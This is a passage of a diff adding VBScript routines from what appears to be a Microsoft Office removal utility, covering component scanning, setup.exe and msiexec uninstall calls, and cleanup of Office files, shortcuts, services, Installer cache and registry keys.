+                            CompVerbose.WriteLine " Error: Failed to obtain .msi file for product " & sCompClient
+                            If NOT dicFLError.Exists("Failed to obtain .msi file for product "&sCompClient) Then _
+                                dicFLError.Add "Failed to obtain .msi file for product "&sCompClient, ComponentID
+                            Err.Clear
+                        End If
+                        CompVerbose.Write " Open .msi file for reading returned: "
+                        Set MsiDb = oMsi.OpenDatabase(sMsiFile,MSIOPENDATABASEREADONLY)
+
+                        If Err = 0 Then
+                            CompVerbose.WriteLine " SUCCESS"
+                            'Get the component name from the 'Component' table
+                            sQuery = "SELECT `Component`,`ComponentId` FROM Component WHERE `ComponentId` = '" & ComponentID &"'"
+                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
+                            Set Record = qView.Fetch()
+                            If Not Record Is Nothing Then sComponent = Record.Stringdata(1)
+                            CompVerbose.WriteLine " Obtained ComponentId as: " & sComponent
+
+                            'Get filenames from the 'File' table
+                            sQuery = "SELECT `Component_`,`FileName` FROM File WHERE `Component_` = '" & sComponent &"'"
+                            Set qView = MsiDb.OpenView(sQuery) : qView.Execute
+                            Set Record = qView.Fetch()
+                            Do Until Record Is Nothing
+                                'Read the filename
+                                sFile = Record.StringData(2)
+                                If InStr(sFile,"|") > 0 Then sFile = Mid(sFile,InStr(sFile,"|")+1,Len(sFile))
+                                'sFile = sPath & "\" & sFile
+                                CompVerbose.WriteLine "  File: " & sPath& "\" & sFile
+                                If Not oDic.Exists(sPath & "\" & sFile) Then
+                                    'Exception handler
+                                    fAdd = True
+                                    Select Case UCase(sFile)
+                                    Case "FPERSON.DLL"
+                                        'Catch exception caused by changed .msi keypath authoring logic for smart tags
+                                        For Each prod in oMsi.Products
+                                            If NOT Checkdelete(prod) Then
+                                                If oMsi.FeatureState(prod, "MSTagPluginNamesFiles") = MSIINSTALLSTATE_LOCAL Then
+                                                    fAdd = False
+                                                    Exit For
+                                                End If
+                                            End If
+                                        Next 'prod
+                                    Case Else
+                                    End Select
+                                    If fAdd Then
+                                        CompVerbose.WriteLine "  Added as new file to dictionary"
+                                        oDic.Add sPath & "\" & sFile,sFile
+                                        FileList.WriteLine sFile & vbTab & sPath & "\" & sFile
+                                        If Len(sFile)>4 Then
+                                            sFile = LCase(sFile)
+                                            If Right(sFile,4) = ".exe" Then
+                                                If NOT dicApps.Exists(sFile) Then
+                                                    Select Case sFile
+                                                    Case "setup.exe","ose.exe","osppsvc.exe","explorer.exe"
+                                                    Case Else
+                                                        dicApps.Add sFile,LCase(sPath) & "\" & sFile
+                                                        CompVerbose.WriteLine "  Added to the list of processes that need to be closed."
+                                                    End Select
+                                                End If 'dicApps.Exists
+                                            End If '.exe
+                                        End If 'Len > 4
+                                    End If 'fAdd
+                                End If 'oDic.Exists
+                                Set Record = qView.Fetch()
+                            Loop
+                            Set Record = Nothing
+                            qView.Close
+                            Set qView = Nothing
+                        Else
+                            CompVerbose.WriteLine " Error: Could not read from .msi file"
+                            If NOT dicFLError.Exists("Error: Could not read from .msi file: "&sMsiFile) Then _
+                                dicFLError.Add "Error: Could not read from .msi file: "&sMsiFile, ComponentID
+                            Err.Clear
+                        End If 'Err = 0
+                    Else
+                        CompVerbose.WriteLine " Error: File check FAILED"
+                    End If 'FileExists(sPath)
+                End If
+            End If 'Len(sPath) > 4
+        Else
+            CompVerbose.WriteLine " RESULT: Component NOT in scope for removal"
+            If fAffectedComponent Then
+                'Add the path to the 'Keep' dictionary
+                Err.Clear
+                For Each CompClient In oMsi.ComponentClients(ComponentID)
+                    'Get the component path
+                    sPath = "" : sPath = LCase(oMsi.ComponentPath(CompClient,ComponentID))
+                    sPath = Replace(sPath,"?",":")
+
+                    If Len(sPath) > 4 Then
+                        If Left(sPath,1) = "0" Then
+                            'Registry keypath
+
+                            Select Case Left(sPath,2)
+                            Case "00"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKCR
+                            Case "01"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKCU
+                            Case "02","22"
+                                sPath = Mid(sPath,5)
+                                hDefKey = HKLM
+                            Case Else
+                                '
+                            End Select
+                            If NOT dictionaryKeepReg.Exists(LCase(sPath)) Then
+                                dictionaryKeepReg.Add LCase(sPath),hDefKey
+                            End If
+                        Else
+                            'File keypath
+                            If oFso.FileExists(sPath) Then
+                                If NOT dictionaryKeepFolder.Exists(LCase(sPath)) Then dictionaryKeepFolder.Add LCase(sPath)
+                                sPath = LCase(oFso.GetFile(sPath).ParentFolder) & "\"
+                                If NOT dictionaryKeepFolder.Exists(sPath) Then AddKeepFolder sPath
+                            End If
+                            'Folder keypath
+                            If oFso.FolderExists(sPath) Then AddKeepFolder sPath
+                        End If 'Is Registry
+                    End If 'sPath > 4
+                Next 'CompClient
+            End If 'fAffectedComponent
+        End If 'fRemoveComponent
+        Err.Clear
+    Next 'ComponentID
+    On Error Goto 0
+
+    Log " Done" & vbCrLf
+    If dicFLError.Count > 0 Then LogOnly Join(dicFLError.Keys,vbCrLf)
+    If Not oFolderDic.Count = 0 Then arrDeleteFolders = oFolderDic.Keys Else Set arrDeleteFolders = Nothing
+    If Not oDic.Count = 0 Then arrDeleteFiles = oDic.Keys Else Set arrDeleteFiles = Nothing
+End Sub 'ScanComponents
+'=======================================================================================================
+
+
+'Try to remove the products by calling setup.exe
+Sub SetupExeRemoval
+    Dim OseService, Service, TextStream
+    Dim iSetupCnt, RetVal
+    Dim Sku, sConfigFile, sUninstallCmd, sCatalyst, sDll, sDisplayLevel, sNoCancel
+    iSetupCnt = 0
+    If Not dicRemoveSku.Count > 0 Then
+        Log " Nothing to remove for Setup.exe"
+        Exit Sub
+    End If
+
+    'Ensure that the OSE service is *installed, *not disabled, *running under System context.
+    'If validation fails exit out of this sub.
+    Set OseService = oWmiLocal.Execquery("Select * From Win32_Service Where Name like 'ose%'")
+    If OseService.Count = 0 Then Exit Sub
+    For Each Service in OseService
+        If (Service.StartMode = "Disabled") AND (Not Service.ChangeStartMode("Manual")=0) Then Exit Sub
+        If (Not Service.StartName = "LocalSystem") AND (Service.Change( , , , , , , "LocalSystem", "")) Then Exit Sub
+    Next 'Service
+
+    For Each Sku in dicRemoveSku.Keys
+
+        If Sku="CLICK2RUN" Then
+            'Already done
+        Else
+            'Create an "unattended" config.xml file for uninstall
+            If fQuiet Then sDisplayLevel = "None" Else sDisplayLevel="Basic"
+            If fNoCancel Then sNoCancel="Yes" Else sNoCancel="No"
+            Set TextStream = oFso.OpenTextFile(sScrubDir & "\config.xml",FOR_WRITING,True,True)
+            TextStream.Writeline "<Configuration Product=""" & Sku & """>"
+            TextStream.Writeline "<Display Level=""" & sDisplayLevel & """ CompletionNotice=""No"" SuppressModal=""Yes"" NoCancel=""" & sNoCancel & """ AcceptEula=""Yes"" />"
+            TextStream.Writeline "<Logging Type=""Verbose"" Path=""" & sLogDir & """ Template=""Microsoft Office " & Sku & " Setup(*).txt"" />"
+            TextStream.Writeline "<Setting Id=""MSIRESTARTMANAGERCONTROL"" Value=""Disable"" />"
+            TextStream.Writeline "<Setting Id=""SETUP_REBOOT"" Value=""Never"" />"
+            TextStream.Writeline "</Configuration>"
+            TextStream.Close
+            Set TextStream = Nothing
+
+            'Ensure path to setup.exe is valid to prevent errors
+            sDll = ""
+            If RegReadValue(HKLM,REG_ARP & OREGREF & Sku,"UninstallString",sCatalyst,"REG_SZ") Then
+                If InStr(LCase(sCatalyst),"/dll")>0 Then sDll = Right(sCatalyst,Len(sCatalyst)-InStr(LCase(sCatalyst),"/dll")+2)
+                If InStr(sCatalyst,"/")>0 Then sCatalyst = Left(sCatalyst,InStr(sCatalyst,"/")-1)
+                sCatalyst = Trim(Replace(sCatalyst,Chr(34),""))
+                If NOT oFso.FileExists(sCatalyst) Then
+                    sCatalyst = sCommonProgramFiles & "\" & OREF & "\Office Setup Controller\setup.exe"
+                    If NOT oFso.FileExists(sCatalyst) AND f64 Then
+                        sCatalyst = sCommonProgramFilesX86 & "" & OREF & "\Office Setup Controller\setup.exe"
+                    End If
+                End If
+                If oFso.FileExists(sCatalyst) Then
+                    sUninstallCmd = Chr(34) & sCatalyst & Chr(34) & " /uninstall " & Sku & " /config " & Chr(34) & sScrubDir & "\config.xml" & Chr(34) & sDll
+                    iSetupCnt = iSetupCnt + 1
+                    Log " - Calling Setup.exe to remove " & Sku '& vbCrLf & sUninstallCmd
+                    If Not fDetectOnly Then
+                        On Error Resume Next
+                        ' end other instances of setup
+                        EndCurrentInstalls
+                        ' call uninstall
+                        RetVal = oWShell.Run(sUninstallCmd,0,True) : CheckError "SetupExeRemoval"
+                        Log " - Setup.exe returned: " & SetupRetVal(Retval) & " (" & RetVal & ")" & vbCrLf
+                        fRebootRequired = fRebootRequired OR (RetVal = "3010")
+                        On Error Goto 0
+                    Else
+                        Log " -> Removal suppressed in preview mode."
+                    End If
+                Else
+                    Log " Error: Office setup.exe appears to be missing"
+                End If 'RetVal = 0) AND oFso.FileExists
+            End If 'RegReadValue
+        End If
+    Next 'Sku
+    If iSetupCnt = 0 Then Log " Nothing to remove for setup."
+End Sub 'SetupExeRemoval
+'=======================================================================================================
+
+'Invoke msiexec to remove individual .MSI packages
+Sub MsiexecRemoval
+
+    Dim Product
+    Dim i
+    Dim sCmd, sReturn, sMsiProp
+    Dim fRegWipe
+
+    fRegWipe = False
+
+    Select Case OVERSIONMAJOR
+    Case "11"
+        sMsiProp = " REBOOT=ReallySuppress NOLOCALCACHEROLLBACK=1"
+    Case "12"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case "14"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case "15"
+        fRegWipe = True
+        sMsiProp = " REBOOT=ReallySuppress NOREMOVESPAWN=True"
+    Case Else
+    End Select
+
+    'Clear up ARP first to avoid possible custom action dependencies
+    If fRegWipe Then RegWipeARP
+
+    'Check MSI registered products
+    'Office System does only support per machine installation so it's sufficient to use Installer.Products
+    i = 0
+    sMsiProp = " MSIRESTARTMANAGERCONTROL=Disable" & sMsiProp
+    For Each Product in oMsi.Products
+        If CheckDeleteEx(Product) Then
+            i = i + 1
+            Log " Calling msiexec.exe to remove " & Product
+            sCmd = "msiexec.exe /x" & Product & sMsiProp
+            If fQuiet AND NOT fBasic Then
+                sCmd = sCmd & " /q"
+            Else
+                sCmd = sCmd & " /qb-"
+            End If
+            sCmd = sCmd & " /l*v+ "&chr(34)&sLogDir&"\Uninstall_"&Product&".log"&chr(34)
+            If NOT fDetectOnly Then
+                ' end other instances of setup
+                EndCurrentInstalls
+
+                'Execute the uninstall
+                LogOnly " - Calling msiexec with '"&sCmd&"'"
+                sReturn = oWShell.Run(sCmd, 0, True)
+                Log " - msiexec returned: " & SetupRetVal(sReturn) & " (" & sReturn & ")" & vbCrLf
+                fRebootRequired = fRebootRequired OR (sReturn = "3010") OR (sReturn = "1618")
+            Else
+                Log "  -> Removal suppressed in preview mode."
+                LogOnly "  -> Command: "&sCmd
+            End If
+        End If 'InScope
+    Next 'Product
+    If i = 0 Then Log " Nothing to remove for msiexec"
+End Sub 'MsiexecRemoval
+'=======================================================================================================
+
+'Remove the OSE (Office Source Engine) service
+Sub RemoveOSE
+    On Error Resume Next
+    Log vbCrLf & "OSE CleanUp"
+    DeleteService "ose"
+    'Delete the folder
+    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\Source Engine"
+    'Delete the registration
+    RegDeleteKey HKLM,"SYSTEM\CurrentControlSet\Services\ose\"
+End Sub 'RemoveOSE
+'=======================================================================================================
+
+
+'File cleanup operations for the Local Installation Source (MSOCache)
+Sub WipeLIS
+    Const LISROOT = "MSOCache\All Users\"
+    Dim LogicalDisks, Disk, Folder, SubFolder, MseFolder, File, Files
+    Dim arrSubFolders
+    Dim sFolder
+    Dim fRemoveFolder
+
+    Log vbCrLf & "LIS CleanUp"
+    'Search all hard disks
+    Set LogicalDisks = oWmiLocal.ExecQuery("Select * From Win32_LogicalDisk WHERE DriveType=3")
+    For Each Disk in LogicalDisks
+        If oFso.FolderExists(Disk.DeviceID & "\" & LISROOT) Then
+            Set Folder = oFso.GetFolder(Disk.DeviceID & "\" & LISROOT)
+            For Each Subfolder in Folder.Subfolders
+                If Len(Subfolder) > 37 Then
+                    If fRemoveAll Then
+                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) OR _
+                            LCase(Right(Subfolder.Name,7)) = OVERSIONMAJOR &".data" Then DeleteFolder Subfolder.Path
+                    Else
+                        If  (Mid(Subfolder.Name,27,PRODLEN) = OFFICEID AND Mid(SubFolder.Name,4,2)=OVERSIONMAJOR) AND _
+                            CheckDelete(UCase(Left(Subfolder.Name,38))) AND _
+                            UCase(Right(Subfolder,1))= UCase(Left(Disk.DeviceID,1))Then DeleteFolder Subfolder.Path
+                    End If
+                End If 'Len > 37
+            Next 'Subfolder
+            If (Folder.Subfolders.Count = 0) AND (Folder.Files.Count = 0) Then
+                sFolder = Folder.Path
+                Set Folder = Nothing
+                SmartDeleteFolder sFolder
+            End If
+        End If 'oFso.FolderExists
+    Next 'Disk
+
+    'MSECache
+    If EnumFolders(sProgramFiles,arrSubFolders) Then
+        For Each SubFolder in arrSubFolders
+            If UCase(Right(SubFolder,9))="\MSECACHE" Then
+                ReDim arrMseFolders(-1)
+                Set Folder = oFso.GetFolder(SubFolder)
+                GetMseFolderStructure Folder
+                For Each MseFolder in arrMseFolders
+                    If oFso.FolderExists(MseFolder) Then
+                        fRemoveFolder = False
+                        Set Folder = oFso.GetFolder(MseFolder)
+                        Set Files = Folder.Files
+                        For Each File in Files
+                            If (LCase(Right(File.Name,4))=".msi") Then
+                                If CheckDelete(ProductCode(File.Path)) Then
+                                    fRemoveFolder = True
+                                    Exit For
+                                End If 'CheckDelete
+                            End If
+                        Next 'File
+                        Set Files = Nothing
+                        Set Folder = Nothing
+                        If fRemoveFolder Then SmartDeleteFolder MseFolder
+                    End If 'oFso.FolderExists(MseFolder)
+                Next 'MseFolder
+            End If
+        Next 'SubFolder
+    End If 'oFso.FolderExists
+End Sub 'WipeLis
+'=======================================================================================================
+
+'Wipe files and folders as documented in KB 928218
+Sub FileWipeAll
+    Dim sFolder
+    Dim Folder, Subfolder
+
+    If fForce OR fQuiet OR fPassive Then CloseOfficeApps
+
+    'Handle other services.
+    Select Case OVERSIONMAJOR
+    Case "11"
+    Case "12"
+    Case "14"
+        DeleteService "odserv"
+        DeleteService "Microsoft Office Groove Audit Service"
+        DeleteService "Microsoft SharePoint Workspace Audit Service"
+    Case "15"
+    Case Else
+    End Select
+
+    'User specific files
+    If NOT fKeepUser Then
+        'Delete files that should be backed up before deleting them
+        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normal.dotm"
+        CopyAndDeleteFile sAppdata & "\Microsoft\Templates\Normalemail.dotm"
+        sFolder = sAppdata & "\microsoft\document building blocks"
+        If oFso.FolderExists(sFolder) Then
+            Set Folder = oFso.GetFolder(sFolder)
+            For Each Subfolder In Folder.Subfolders
+                If oFso.FileExists(Subfolder & "\blocks.dotx") Then CopyAndDeleteFile Subfolder & "\blocks.dotx"
+            Next 'Subfolder
+            Set Folder = Nothing
+        End If 'oFso.FolderExists(sFolder)
+    End If
+
+    'Run the individual filewipe from component detection first
+    FileWipeIndividual
+    If fC2rInstalled AND NOT fForce Then Exit Sub
+
+    'Take care of the rest
+    DeleteFolder sOInstallRoot
+    DeleteFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
+    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
+    DeleteFile sAllUsersProfile & "\Application Data\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
+    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".dat"
+    DeleteFile sAllUsersProfile & "\Microsoft\Office\Data\opa"&OVERSIONMAJOR&".bak"
+    If (fRemoveOspp OR fForce) AND CInt(OVERSIONMAJOR) > 12 Then
+        If CInt(OVERSIONMAJOR) = 15 Then CleanOSPP
+        DeleteService "osppsvc"
+        DeleteFolder sCommonProgramFiles & "\Microsoft Shared\OfficeSoftwareProtectionPlatform"
+        DeleteFolder sAllUsersProfile & "\Microsoft\OfficeSoftwareProtectionPlatform"
+    End If
+    Select Case OVERSIONMAJOR
+    Case "12"
+    Case "14"
+        DeleteFile oWShell.SpecialFolders("AllUsersStartup")&"\OfficeSAS.lnk"
+        DeleteFile oWShell.SpecialFolders("Startup")&"\OneNote 2010 Screen Clipper and Launcher.lnk"
+    Case "15"
+    Case Else
+    End Select
+    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\" & OREF
+    DeleteEmptyFolder sCommonProgramFiles & "\Microsoft Shared\"
+    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\" & OREF
+    DeleteEmptyFolder sProgramFiles & "\Microsoft Office\"
+
+End Sub 'FileWipeAll
+'=======================================================================================================
+
+'Wipe individual files & folders related to SKU's that are no longer installed
+Sub FileWipeIndividual
+    Dim LogicalDisks, Disk,sc
+    Dim File, Files, XmlFile, scFiles, oFile, Folder, SubFolder, Processes, Process, item
+    Dim sFile, sFolder, sPath, sConfigName, sContents, sProductCode, sLocalDrives,sScQuery
+    Dim sValue, sScRoots
+    Dim arrSubfolders, arrShortCutRoots
+    Dim fKeepFolder, fDeleteSC
+    Dim iRet,iCnt,iPos
+
+    Log vbCrLf & "File CleanUp"
+    If IsArray(arrDeleteFiles) Then
+        If fForce OR fQuiet Then
+            Log " Doing Action: StopOSE"
+            iRet = StopService("ose")
+            Set Processes = oWmiLocal.ExecQuery("Select * From Win32_Process Where Name like 'ose%.exe'")
+            For Each Process in Processes
+                LogOnly " - Running process : " & Process.Name
+                Log " -> Ending process: " & Process.Name
+                iRet = Process.Terminate()
+            Next 'Process
+            LogOnly " End Action: StopOSE"
+            CloseOfficeApps
+        End If
+        'Wipe individual files detected earlier
+        LogOnly " Removing left behind files"
+        For Each sFile in arrDeleteFiles
+            If oFso.FileExists(sFile) Then DeleteFile sFile
+        Next 'File
+    End If 'IsArray
+
+    'Wipe Catalyst in commonfiles
+    sFolder = sCommonProgramFiles & "\microsoft shared\"&OREF&"\Office Setup Controller\"
+    If EnumFolderNames(sFolder,arrSubFolders) Then
+        For Each SubFolder in arrSubFolders
+            sPath = sFolder & SubFolder
+            If InStr(SubFolder, ".") > 0 Then sConfigName = UCase(Left(SubFolder, InStr(SubFolder, ".") - 1)) Else sConfigName = UCase(Subfolder)
+            If GetFolderPath(sPath) Then
+                Set Folder = oFso.GetFolder(sPath)
+                Set Files = Folder.Files
+                fKeepFolder = False
+                For Each File In Files
+                    If Len(File.Name)>3 Then
+                        If (LCase(Right(File.Name,4))=".xml") Then
+                            If Len(File.Name) >= Len(sConfigName) Then
+                                If (UCase(Left(File.Name,Len(sConfigName)))=sConfigName) Then
+                                    Set XmlFile = oFso.OpenTextFile(File,1)
+                                    sContents = XmlFile.ReadAll
+                                    Set XmlFile = Nothing
+                                    sProductCode = ""
+                                    On Error Resume Next
+                                    sProductCode = Mid(sContents,InStr(sContents,"ProductCode=")+Len("ProductCode=")+1,38)
+                                    On Error Goto 0
+                                    If Len(sProductCode) = 38 Then
+                                        If CheckDelete(sProductCode) Then DeleteFile File.Path Else fKeepFolder = True
+                                    End If
+                                End If 'sConfigName
+                            End If 'Len >=
+                        End If '.xml
+                    End If 'Len(File.Name)>3
+                Next 'File
+                Set Files = Nothing
+                Set Folder = Nothing
+                If Not fKeepFolder Then DeleteFolder sPath
+            End If 'GetFolderPath
+        Next 'SubFolder
+    End If 'EnumFolderNames
+
+    'Wipe Shortcuts
+    If NOT fSkipSD Then
+        On Error Resume Next
+        Log " Searching for shortcuts"
+        CleanShortcuts sAllUsersProfile, True, False
+        CleanShortcuts sProfilesDirectory, True, False
+        On Error Goto 0
+    End If 'NOT SkipSD
+    Err.Clear
+
+End Sub 'FileWipeIndividual
+'=======================================================================================================
+
+'-------------------------------------------------------------------------------
+'   CleanShortcuts
+'
+'   Recursively search all profile folders for Office shortcuts in scope
+'-------------------------------------------------------------------------------
+Sub CleanShortcuts (sFolder, fDelete, fUnPin)
+    Dim oFolder, fld, file, sc, item
+    Dim fDeleteSC
+
+	Set oFolder = oFso.GetFolder(sFolder)
+	' exclude system protected link folders
+    If CBool(oFolder.Attributes AND 1024) Then Exit Sub
+
+    On Error Resume Next
+    For Each fld In oFolder.SubFolders
+        If Err <> 0 Then
+		    CheckError "CleanShortcuts: " & vbTab & sFolder
+        Else
+            CleanShortcuts fld.Path, fDelete, fUnPin
+        End If
+	Next
+    For Each file In oFolder.Files
+		If LCase(Right(file.Path, 4)) = ".lnk" Then
+            fDeleteSC = False
+            LogOnly " check file: " & file.Path
+            set sc = oWShell.CreateShortcut(file.Path)
+            If Err <> 0 Then
+		        CheckError "CleanShortcutsSC: " & vbTab & sFolder
+            Else
+                'Compare if the shortcut target is in the list of executables that will be removed
+                'LogOnly "  - SC.TargetPath: " & sc.TargetPath
+                If Len(sc.TargetPath) > 0 Then
+                    If InStr(sc.TargetPath,"{{") > 0 Then
+                        'Handle Windows Installer shortcuts
+                        If Len(sc.TargetPath) >= InStr(sc.TargetPath,"{{") + 37 Then
+                            If CheckDelete(Mid(sc.TargetPath, InStr(sc.TargetPath,"{{"), 38)) Then fDeleteSC = True
+                        End If
+                    Else
+                        'Handle regular shortcuts
+                        If NOT fBypass_Stage1 Then
+                            ' Compare against results from component scan
+                            For Each item in dicApps.Items
+                                If LCase(sc.TargetPath) = item Then
+                                    LogOnly "  - removing shortcut per match from component detection: " & file.Path
+                                    fDeleteSC = True
+                                    Exit For
+                                End If
+                            Next 'item
+                        Else
+                        End If
+                        If NOT oFso.FileExists(sc.TargetPath) Then
+                            ' Shortcut target does not exist
+                            If InStr (sc.TargetPath, OREF) > 0 Then
+                                LogOnly "  - removing Office shortcut with non-existent target: " & file.Path & " - " & sc.TargetPath
+                                fDeleteSC = True
+                            Else
+                                'LogOnly "  - keep orphaned SC as target is not in scope: " & sc.TargetPath
+                            End If
+                        Else
+                            'LogOnly "  - keep SC as shortcut target does still exist: " & sc.TargetPath
+                        End If
+                    End If
+                End If
+            End If
+            If fDeleteSC Then
+                If Not IsArray(arrDeleteFolders) Then ReDim arrDeleteFolders(0)
+                sFolder = file.Drive & file.Path
+                If Not arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder Then
+                    ReDim Preserve arrDeleteFolders(UBound(arrDeleteFolders) + 1)
+                    arrDeleteFolders(UBound(arrDeleteFolders)) = sFolder
+                End If
+                If fUnPin Then UnPin file
+                If fDelete Then
+                    If fBypass_Stage1 Then UnPin file
+                    DeleteFile file.Path
+                End If
+                fDeleteSC = False
+            End If 'fDeleteSC
+        End If
+	Next
+    On Error Goto 0
+End Sub 'CleanShortcuts
+
+'-------------------------------------------------------------------------------
+'   UnPin
+'
+'   Unpins a shortcut from the taskbar or start menu
+'-------------------------------------------------------------------------------
+Sub UnPin(file)
+    Dim fldItem, verb
+
+    On Error Resume Next
+    Set fldItem = oShellApp.NameSpace(file.ParentFolder.Path).ParseName(file.Name)
+    For Each verb in fldItem.Verbs
+        Select Case Replace(verb, "&", "")
+        Case "Unpin from Taskbar", "Von Taskleiste lösen", "Détacher du barre des tâches", "Détacher de la barre des tâches", "Desanclar de la barra de tareas", "Ta bort från Aktivitetsfältet", "??? ????????(K)", "?? ????? ??(K)", "????????? ?? ?????? ?????"
+            verb.DoIt
+        Case "Unpin from Start Menu", "Vom Startmenü lösen", "Détacher du menu Démarrer", "Détacher de la menu Démarrer"
+            If iVersionNT = 601 Then verb.DoIt
+        End Select
+    Next
+    On Error Goto 0
+End Sub
+
+
+'=======================================================================================================
+
+Sub DelScrubTmp
+
+    On Error Resume Next
+    If oFso.FolderExists(sScrubDir & "\ScrubTmp") Then oFso.DeleteFolder sScrubDir & "\ScrubTmp",True
+
+End Sub 'DelScrubTmp
+'=======================================================================================================
+
+'Ensure there are no unexpected .msi files in the scrub folder
+Sub DeleteMsiScrubCache
+    Dim Folder, File, Files
+
+    Log vbCrLf & "ScrubCache CleanUp"
+    Set Folder = oFso.GetFolder(sScrubDir) : CheckError "DeleteMsiScrubCache"
+    Set Files = Folder.Files
+    For Each File in Files
+        CheckError "DeleteMsiScrubCache"
+        If LCase(Right(File.Name,4))=".msi" Then
+            CheckError "DeleteMsiScrubCache"
+            DeleteFile File.Path : CheckError "DeleteMsiScrubCache"
+        End If
+    Next 'File
+End Sub 'DeleteMsiScrubCache
+'=======================================================================================================
+
+Sub MsiClearOrphanedFiles
+    Const USERSIDEVERYONE = "s-1-1-0"
+    Const MSIINSTALLCONTEXT_ALL = 7
+    Const MSIPATCHSTATE_ALL = 15
+
+    'Error handling inlined
+    On Error Resume Next
+
+    Dim Patch, AllPatches, Product, AllProducts
+    Dim File, Files, Folder
+    Dim sFName, sLocalMsp, sLocalMsi, sPatchList, sMsiList
+
+    Set Folder = oFso.GetFolder(sWinDir & "\Installer")
+    Set Files = Folder.Files
+
+    Log vbCrLf & "Windows Installer cache CleanUp"
+    'Get a complete list of patches
+    Err.Clear
+    Set AllPatches = oMsi.PatchesEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL,MSIPATCHSTATE_ALL)
+    If Err <> 0 Then
+        CheckError "MsiClearOrphanedFiles (msp)"
+    Else
+        'Fill a comma separated stringlist with all .msp patchfiles
+        For Each Patch in AllPatches
+            sLocalMsp = "" : sLocalMsp = LCase(Patch.Patchproperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msp)"
+            sPatchList = sPatchList & sLocalMsp & ","
+        Next 'Patch
+
+        'Delete all non referenced .msp files from %windir%\installer
+        For Each File in Files
+            sFName = "" : sFName = LCase(File.Path)
+            If LCase(Right(sFName,4)) = ".msp" Then
+                If Not InStr(sPatchList,sFName) > 0 Then
+                    'While this is an orphaned file keep the scope of Office only
+                    If InStr(UCase(MspTargets(File.Path)),OFFICEID)>0 Then DeleteFile File.Path
+                End If
+            End If 'LCase(Right(sFName,4))
+        Next 'File
+    End If 'Err=0
+
+    'Get a complete list products
+    Err.Clear
+    Set AllProducts = oMsi.ProductsEx("",USERSIDEVERYONE,MSIINSTALLCONTEXT_ALL)
+    If Err <> 0 Then
+        CheckError "MsiClearOrphanedFiles (msi)"
+    Else
+        'Fill a comma separated stringlist with all .msi files
+        For Each Product in AllProducts
+            sLocalMsi = "" : sLocalMsi = LCase(Product.InstallProperty("LocalPackage")) : CheckError "MsiClearOrphanedFiles (msi)"
+            sMsiList = sMsiList & sLocalMsi & ","
+        Next 'Product
+
+        'Delete all non referenced .msi files from %windir%\installer
+        For Each File in Files
+            sFName = "" : sFName = LCase(File.Path)
+            If LCase(Right(sFName,4)) = ".msi" Then
+                If Not InStr(sMsiList,sFName) > 0 Then
+                    'While this is an orphaned file keep the scope of Office only
+                    If UCase(Right(ProductCode(File.Path),PRODLEN))=OFFICEID Then DeleteFile File.Path
+                End If
+            End If 'LCase(Right(sFName,4)) = ".msi"
+        Next 'File
+    End If 'Err=0
+
+End Sub 'MsiClearOrphanedFiles
+'=======================================================================================================
+
+Sub RegWipe
+    Dim Item, Name, Sku, key
+    Dim hDefKey, sSubKeyName, sCurKey, value, sValue, sGuid
+    Dim fkeep, fSystemComponent0, fPackages, fDisplayVersion
+    Dim arrKeys, arrNames, arrTypes, arrMultiSzValues, arrMultiSzNewValues
+    Dim arrTestNames, arrTestTypes
+    Dim i, iLoopCnt, iPos
+    Dim fDelReg
+
+    Log vbCrLf & "Registry CleanUp"
+    'Wipe registry data
+
+    'User Profile settings
+    Log " - User Policies"
+    RegDeleteKey HKCU,"Software\Policies\Microsoft\Office\" & OVERSION & "\"
+    If NOT fKeepUser Then
+        RegDeleteKey HKCU,"Software\Microsoft\Office\" & OVERSION & "\"
+        Log " - User Settings"
+    End If 'fKeepUser
+
+    'Computer specific settings
+    If (fRemoveAll AND NOT fC2rInstalled) OR (fRemoveAll AND fForce) Then
+        Log " - Machine Settings"
+        RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\" & OVERSION & "\"
+        If fRemoveOse OR fForce Then
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office Test\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","LastAccessInstall", False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\Common\","MID", False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Excel\Addins\Microsoft.PerformancePoint.Planning.Client.Excel\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerExcelImport\Versions\",OVERSION, False
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Office\InfoPath\Converters\Import\InfoPath.DesignerWordImport\Versions\",OVERSION, False
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Office\Outlook\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\MEWord12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Export\Word97\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\MEWord12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word12\"
+            RegDeleteKey HKLM,"SOFTWARE\Microsoft\Shared Tools\Text Converters\Import\Word97\"
+            RegDeleteValue HKLM,"SOFTWARE\Microsoft\Windows\CurrentVersion\Run\","GrooveMonitor", False
